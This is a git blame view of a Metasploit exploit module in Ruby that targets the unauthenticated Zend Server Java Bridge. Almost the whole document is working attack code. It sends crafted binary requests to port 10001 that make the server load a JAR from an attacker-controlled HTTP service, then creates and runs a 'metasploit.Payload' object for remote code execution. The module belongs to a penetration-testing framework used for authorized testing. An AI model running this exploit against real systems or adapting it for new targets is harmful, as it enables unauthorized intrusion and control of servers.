Files
metasploit-gs/modules/exploits/multi/misc/zend_java_bridge.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

109 lines
3.2 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Zend Server Java Bridge Arbitrary Java Code Execution',
'Description' => %q{
This module takes advantage of a trust relationship issue within the
Zend Server Java Bridge. The Java Bridge is responsible for handling interactions
between PHP and Java code within Zend Server.
2013-08-30 16:28:54 -05:00
When Java code is encountered Zend Server communicates with the Java Bridge. The
Java Bridge then handles the java code and creates the objects within the Java Virtual
Machine. This interaction however, does not require any sort of authentication. This
leaves the JVM wide open to remote attackers. Sending specially crafted data to the
Java Bridge results in the execution of arbitrary java code.
},
'Author' => [ 'bannedit' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '71420'],
2013-10-21 15:07:07 -05:00
[ 'ZDI', '11-113'],
2012-10-23 21:02:09 +02:00
[ 'EDB', '17078' ],
],
'Platform' => ['java'], # win
'Arch' => ARCH_JAVA,
'Privileged' => true,
'Targets' =>
[
[ 'Linux', {}],
[ 'Windows', {}],
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2011-03-28',
'DefaultTarget' => 0))
register_options( [ Opt::RPORT(10001) ])
end
2013-08-30 16:28:54 -05:00
def exploit
start_service()
send_java_require
end
2013-08-30 16:28:54 -05:00
def send_java_require()
connect
2013-08-30 16:28:54 -05:00
jar = rand_text_alpha(rand(8)+1) + '.jar'
2011-04-05 00:13:01 +00:00
path = get_uri + '/' + jar
uri_len = path.length
java_require = [0xffffffff, 0x16000000].pack('V*') +
"setAdditionalClassPath" + [0x01000000, 0x00000004].pack('V*') +
[uri_len].pack('C') + path
2013-08-30 16:28:54 -05:00
java_require = [java_require.length].pack('N') + java_require
2013-08-30 16:28:54 -05:00
print_status("Sending java_require() request... #{path}")
sock.put(java_require)
res = sock.get_once
2013-08-30 16:28:54 -05:00
select(nil, nil, nil, 5) # wait for the request to be handled
create_and_exec
end
2013-08-30 16:28:54 -05:00
def create_and_exec
print_status("Sending Final Java Bridge Requests")
2013-08-30 16:28:54 -05:00
create_obj =
[0x34000000, 0x00000000, 0x0c000000].pack('V*') +
"CreateObject" +
[0x02000000, 0x00000004].pack('V*') + [0x12].pack('C') +
"metasploit.Payload" +
[0x07000000].pack('N') + [0x00].pack('C')
2013-08-30 16:28:54 -05:00
sock.put(create_obj)
res = sock.get_once
obj_id = res[5,4]
2013-08-30 16:28:54 -05:00
callmain =
[0x1f000000].pack('V') + obj_id + [0x04000000].pack('V') + "main" +
[0x01000000, 0x00000008, 0x00000201, 0x00040000].pack('V*') + [0x00].pack('C') +
[0x00].pack('C') + [0x00].pack('C')
2013-08-30 16:28:54 -05:00
sock.put(callmain)
sock.get_once
handler()
end
2013-08-30 16:28:54 -05:00
def on_request_uri(cli, request)
if request.uri =~ /\.jar$/i
send_response(cli, payload.encoded,
{
'Content-Type' => 'application/java-archive',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
2013-08-30 16:28:54 -05:00
print_status("Replied to Request for Payload JAR")
end
end
2011-04-05 01:08:07 +00:00
end